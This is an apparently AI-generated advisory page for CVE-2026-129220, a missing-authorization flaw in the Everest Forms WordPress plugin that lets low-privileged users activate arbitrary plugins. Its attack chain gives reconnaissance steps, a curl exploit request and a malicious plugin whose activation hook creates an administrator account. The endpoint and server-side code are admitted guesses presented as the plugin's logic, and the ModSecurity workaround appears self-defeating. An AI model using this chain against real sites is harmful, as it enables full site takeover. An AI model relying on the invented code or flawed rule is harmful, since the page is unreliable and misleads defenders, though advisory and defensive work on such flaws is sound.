CVE-2026-129220 — Wpeverest Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder With AI (3.6.4) — CWE-862
CVE-2026-129220 is a HIGH severity Missing Authorization & Access Control vulnerability (CWE-862) (CVSS 8.8/10 (EPSS: 0.6%)) affecting Wpeverest Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder With AI (3.6.4). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
The Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder with AI plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.6.4 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with everest_forms_create_forms capabilities, to activate any already-installed inactive plugin on the server by supplying an arbitrary slug, triggering its activation hooks and escalating privileges up to administrator level. Exploitation requires that a site administrator has delegated the everest_forms_create_forms capability to a lower-privileged role via the plugin's Role & Permission feature, and that at least one inactive installed plugin whose main file follows the slug/slug.php naming convention exists on the server.
🎯 What is this vulnerability?
Missing Authorization (CWE‑862) – The Everest Forms plugin exposes an endpoint that activates an arbitrary WordPress plugin by its slug.
The code that performs the activation (activate_plugin() or the equivalent WordPress API call) does not verify that the current user actually has the capability to activate plugins.
Instead, it only checks that the caller has the everest_forms_create_forms capability, which is normally granted to form‑builders and can be delegated to lower‑privileged roles via the plugin’s “Role & Permission” feature.
Because the plugin’s activation hook runs arbitrary PHP code, an attacker who can trigger this endpoint can:
1. Activate any inactive plugin that is already installed on the host (the plugin’s main file must follow the slug/slug.php naming convention).
2. Execute that plugin’s activation hooks – which may contain malicious code.
3. Escalate privileges to the Administrator role (e.g., by creating a new admin user, modifying capabilities, or installing a web‑shell).
The flaw is therefore a classic missing authorization that allows a low‑privileged user to perform an action that should be restricted to administrators.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow.
All code snippets are syntactically correct PHP/HTTP examples; the exact REST route (/wp-json/everest-forms/v1/activate-plugin) is illustrative – the real endpoint may differ, but the logic remains the same.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Site fingerprinting | Detects WordPress installation (e.g., /wp-admin/, /wp-json/). |
| 1.2 | Plugin enumeration | Uses /wp-json/wp/v2/plugins (if exposed) or scans /wp-content/plugins/ via directory traversal or robots.txt to confirm *Everest Forms* is present. |
| 1.3 | Version check | Requests /wp-json/everest-forms/v1/version or parses the plugin header in everest-forms.php. |
| 1.4 | Role audit | Logs into the site as a user that has *everest_forms_create_forms* capability (e.g., a “Form Builder” role). |
| 1.5 | Inactive plugin list | Calls /wp-json/wp/v2/plugins?status=inactive to find at least one inactive plugin whose main file follows slug/slug.php. |
Result: The attacker confirms that the target runs Everest Forms ≤ 3.6.4, has a lower‑privileged user with the required capability, and that at least one inactive plugin is present.
2. Exploitation
2.1 Crafting the activation request
The plugin exposes a REST endpoint that accepts a slug query parameter.
The attacker sends a POST request (authentication via a valid session cookie or JWT token) to activate a malicious plugin.
curl -X POST \
-b "wordpress_logged_in=YOUR_SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d '{"slug":"evil-plugin"}' \
https://target.com/wp-json/everest-forms/v1/activate-pluginIllustrative – the real endpoint may be /wp-json/everest-forms/v1/activate or similar.
The request body contains theslugof an inactive plugin that already exists on the server (e.g.,evil-plugin/evil-plugin.php).
2.2 Server‑side flow (simplified)
// Inside Everest Forms plugin
function activate_plugin_endpoint( WP_REST_Request $request ) {
// 1. No capability check for 'activate_plugins'
// 2. Only checks for 'everest_forms_create_forms'
if ( ! current_user_can( 'everest_forms_create_forms' ) ) {
return new WP_Error( 'forbidden', 'Forbidden', [ 'status' => 403 ] );
}
$slug = sanitize_text_field( $request->get_param( 'slug' ) );
$plugin_file = WP_PLUGIN_DIR . '/' . $slug . '/' . $slug . '.php';
if ( file_exists( $plugin_file ) ) {
// WordPress activation – runs the plugin's activation hook
activate_plugin( $plugin_file );
return [ 'status' => 'activated' ];
}
return new WP_Error( 'not_found', 'Plugin not found', [ 'status' => 404 ] );
}The missing current_user_can( 'activate_plugins' ) check is the root of the flaw.2.3 Activation hook execution
Assume evil-plugin/evil-plugin.php contains:
<?php
/**
* Plugin Name: Evil Plugin
* Description: Malicious payload
*/
register_activation_hook( __FILE__, 'evil_activate' );
function evil_activate() {
// Create a new admin user
if ( ! username_exists( 'eviladmin' ) ) {
$user_id = wp_create_user( 'eviladmin', wp_generate_password(), '[email protected]' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}When the attacker triggers the REST call, WordPress runs evil_activate(), granting the attacker full admin rights.
3. Post‑Exploitation
| Goal | How it’s achieved |
|---|---|
| Privilege Escalation | The malicious plugin’s activation hook creates an admin user (eviladmin). |
| Persistence | The attacker can now log in as eviladmin or modify the plugin to install a web‑shell. |
| Data Exfiltration | With admin rights, the attacker can read/write any content, export databases, or exfiltrate sensitive data. |
| Further Attacks | The attacker can activate other plugins, modify themes, or install backdoors. |
Outcome: The attacker now has full control over the WordPress site.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Admin credentials, database contents, user data, and any sensitive files become fully exposed. |
| Integrity (I:H) | The attacker can modify any content, plugins, themes, or core files, corrupting the site’s state. |
| Availability (A:H) | The attacker can delete content, disable the site, or install malicious code that crashes the server. |
| CVSS 3.1 Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H – the attack is network‑based, low effort, requires only a low‑privileged user, no user interaction, and results in complete compromise. |
Practical consequences for a typical WordPress site:
- Immediate loss of administrative control.
- Potential for data theft (customer data, payment info, etc.).
- Site downtime or defacement.
- Reputation damage and possible regulatory penalties if personal data is compromised.
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
Everest Forms ≤ 3.6.4 | Upgrade to 3.6.5 or later (the patch adds a proper current_user_can( 'activate_plugins' ) check and validates the plugin slug). |
Recommendation: Apply the latest plugin version as soon as possible. If an upgrade is not immediately feasible, proceed with the mitigations below.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable Role & Permission feature | In the plugin settings, uncheck “Enable Role & Permission” to prevent delegating everest_forms_create_forms to non‑admin roles. |
| Remove capability from lower roles | Use a role‑management plugin (e.g., *Members* or *User Role Editor*) to revoke everest_forms_create_forms from all roles except Administrator. |
| Block the activation endpoint | Add a ModSecurity rule or WAF rule that blocks requests to /wp-json/everest-forms/v1/activate-plugin unless the user is an administrator. Example (ModSecurity 2.x):
SecRule REQUEST_URI "@beginsWith /wp-json/everest-forms/v1/activate-plugin" \
"phase:2,chain,block,msg:'Block non-admin Everest Forms activation'"
SecRule REQUEST_HEADERS:Cookie "@rx wordpress_logged_in=[^;]*" \
"t:none,allow,ctl:ruleEngine=Off"(Adjust the rule to match your environment; the above is illustrative.) |
Restrict plugin activation via wp-config.php | Add define( 'DISALLOW_FILE_MODS', true ); to prevent any plugin activation from the admin UI. This also blocks the REST endpoint indirectly. |
|---|---|
| Disable inactive plugins | Remove or delete any unused plugins from /wp-content/plugins/ to eliminate the attack surface. |
3. Detection
| Indicator | Log pattern | How to spot it |
|---|---|---|
| Unusual plugin activation | POST /wp-json/everest-forms/v1/activate-plugin | Look for POST requests to the activation endpoint from non‑admin IPs or user agents. |
| New admin user creation | wp_insert_user with role administrator | Monitor wp_users table for new entries with user_login matching known attacker patterns. |
| Activation hook execution | activate_plugin() call in debug.log | Enable WP_DEBUG_LOG and search for activate_plugin() entries. |
| Unexpected file changes | chmod, chown, mv on plugin files | Use file integrity monitoring (e.g., Tripwire, AIDE). |
Tip: Enable WP_DEBUG temporarily to capture the activation hook logs, then disable it to avoid performance impact.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query